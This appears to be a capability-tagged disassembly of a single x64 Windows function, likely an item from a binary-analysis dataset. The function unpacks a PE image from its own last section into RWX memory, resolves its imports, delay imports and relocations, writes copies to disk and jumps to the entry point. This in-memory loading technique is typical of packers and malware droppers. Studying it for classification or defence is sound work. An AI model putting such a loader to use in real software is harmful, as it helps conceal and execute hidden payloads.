Function at 0x180000350
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
sub rsp, 0x1d8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 4
lea rcx, [0x180000fb8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x140], rax
mov dword [rsp + 0x58], 0
lea rcx, [0x180000fc0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x100], rax
lea rcx, [0x180000fd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0x100], 0
je 0x1800003db
cmp qword [rsp + 0xa0], 0
jne 0x1800003e0
jmp 0x180000e15
lea rdx, [0x180000fdc]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x160], rax
lea rdx, [0x180000fe4]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x168], rax
lea rdx, [0x180000fec]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1b8], rax
lea rdx, [0x180000ff8]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x108], rax
lea rdx, [0x180001008]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1c0], rax
cmp qword [rsp + 0x160], 0
je 0x180000492
cmp qword [rsp + 0x168], 0
je 0x180000492
cmp qword [rsp + 0x108], 0
jne 0x180000497
jmp 0x180000e15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x1800004b7
jmp 0x180000e15
mov rax, qword [rsp + 0xa8]
add rax, 4
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xa8]
lea rax, [rcx + rax + 0x10c]
mov qword [rsp + 0x78], rax
mov eax, 8
imul rax, rax, 0xa
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x18]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180000545
jmp 0x180000e15
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x78]
mov r9d, dword [rcx + 0x18]
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x78]
mov edx, dword [rcx + 0x10]
mov rcx, rax
call qword [rsp + 0x108]
mov dword [rsp + 0xe0], eax
cmp dword [rsp + 0xe0], 0
jne 0x180000591
jmp 0x180000e15
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, [0x180001010]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov rax, qword [rsp + 0x78]
mov r8d, dword [rax + 0x18]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0xf0], 0
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
cmp dword [rax + 4], 0
jne 0x18000066a
jmp 0x180000821
mov rax, qword [rsp + 0x110]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x180000697
jmp 0x180000e15
mov rax, qword [rsp + 0x80]
cmp dword [rax], 0
je 0x180000821
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x118], rax
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x120], rax
cmp qword [rsp + 0x120], 0
jne 0x1800006ec
jmp 0x180000e15
mov rax, qword [rsp + 0x80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x90]
cmp qword [rax], 0
je 0x180000808
mov qword [rsp + 0xc8], 0
mov rax, qword [rsp + 0x90]
movabs rcx, 0x8000000000000000
mov rax, qword [rax]
and rax, rcx
test rax, rax
je 0x18000077d
mov rax, qword [rsp + 0x90]
mov rax, qword [rax]
and rax, 0xffff
mov qword [rsp + 0xc8], rax
jmp 0x18000079a
mov rax, qword [rsp + 0x90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 2]
mov qword [rsp + 0xc8], rax
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0
jne 0x1800007c8
jmp 0x180000e15
mov rax, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xf0]
mov qword [rax], rcx
mov rax, qword [rsp + 0xf8]
add rax, 8
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x90]
add rax, 8
mov qword [rsp + 0x90], rax
jmp 0x180000727
mov rax, qword [rsp + 0x80]
add rax, 0x14
mov qword [rsp + 0x80], rax
jmp 0x180000697
mov eax, 8
imul rax, rax, 0xb
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
cmp dword [rax + 4], 0
jne 0x180000857
jmp 0x18000097f
mov rax, qword [rsp + 0x128]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
cmp dword [rax], 0
je 0x18000097f
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 4]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x178], rax
mov rcx, qword [rsp + 0x178]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x180], rax
cmp qword [rsp + 0x180], 0
jne 0x1800008c1
jmp 0x180000e15
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 6]
test eax, eax
jne 0x1800008de
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x60], rax
jmp 0x180000871
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x6c], 0
jmp 0x180000903
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x6c], eax
jae 0x18000096d
mov rax, qword [rsp + 0xd0]
movzx eax, word [rax + 4]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x188], rax
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x190], rax
cmp qword [rsp + 0x190], 0
jne 0x180000957
jmp 0x180000e15
mov rax, qword [rsp + 0xd0]
add rax, 8
mov qword [rsp + 0xd0], rax
jmp 0x1800008f9
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x60], rax
jmp 0x180000871
mov eax, 8
imul rax, rax, 0xd
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
cmp dword [rax + 4], 0
jne 0x1800009b5
jmp 0x180000b62
mov rax, qword [rsp + 0x130]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
cmp dword [rax + 4], 0
je 0x180000b62
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x198], rax
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0
jne 0x180000a28
jmp 0x180000e15
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
cmp qword [rax], 0
je 0x180000b49
mov qword [rsp + 0xd8], 0
mov rax, qword [rsp + 0xb0]
movabs rcx, 0x8000000000000000
mov rax, qword [rax]
and rax, rcx
test rax, rax
je 0x180000acb
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
and rax, 0xffff
mov rdx, rax
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd8], rax
jmp 0x180000af9
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 2]
mov rdx, rax
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0xd8], 0
jne 0x180000b09
jmp 0x180000e15
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xd8]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb8]
add rax, 8
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb0]
add rax, 8
mov qword [rsp + 0xb0], rax
jmp 0x180000a64
mov rax, qword [rsp + 0x98]
add rax, 0x20
mov qword [rsp + 0x98], rax
jmp 0x1800009d2
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a0], rax
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
cmp dword [rax + 4], 0
jne 0x180000bb4
jmp 0x180000d54
mov rax, qword [rsp + 0x138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
cmp dword [rax], 0
je 0x180000d54
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, 8
lea rdx, [rsp + 0x148]
mov rcx, qword [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, 4
lea rdx, [0x180001024]
mov rcx, qword [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x88]
add rax, 8
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x70], 0
jmp 0x180000c9b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cmp rax, qword [rsp + 0x148]
jae 0x180000d2e
mov rax, qword [rsp + 0xc0]
movzx eax, word [rax]
sar eax, 0xc
mov word [rsp + 0x68], ax
mov rax, qword [rsp + 0xc0]
movzx eax, word [rax]
and eax, 0xfff
mov word [rsp + 0x48], ax
movzx eax, word [rsp + 0x68]
cmp eax, 0xa
jne 0x180000d15
movzx eax, word [rsp + 0x48]
mov rcx, qword [rsp + 0x150]
add rcx, rax
mov rax, rcx
xor edx, edx
mov rcx, rax
call fcn.180000270
add rax, qword [rsp + 0x1a0]
movzx ecx, word [rsp + 0x48]
mov rdx, qword [rsp + 0x150]
mov qword [rdx + rcx], rax
mov rax, qword [rsp + 0xc0]
add rax, 2
mov qword [rsp + 0xc0], rax
jmp 0x180000c91
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
jmp 0x180000bd1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, [0x180001030]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov rax, qword [rsp + 0x78]
mov r8d, dword [rax + 0x18]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x30], rcx
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x18]
lea r9, [rsp + 0x158]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180000e0c
jmp 0x180000e15
xor ecx, ecx
call qword [rsp + 0x1b0]
add rsp, 0x1d8
ret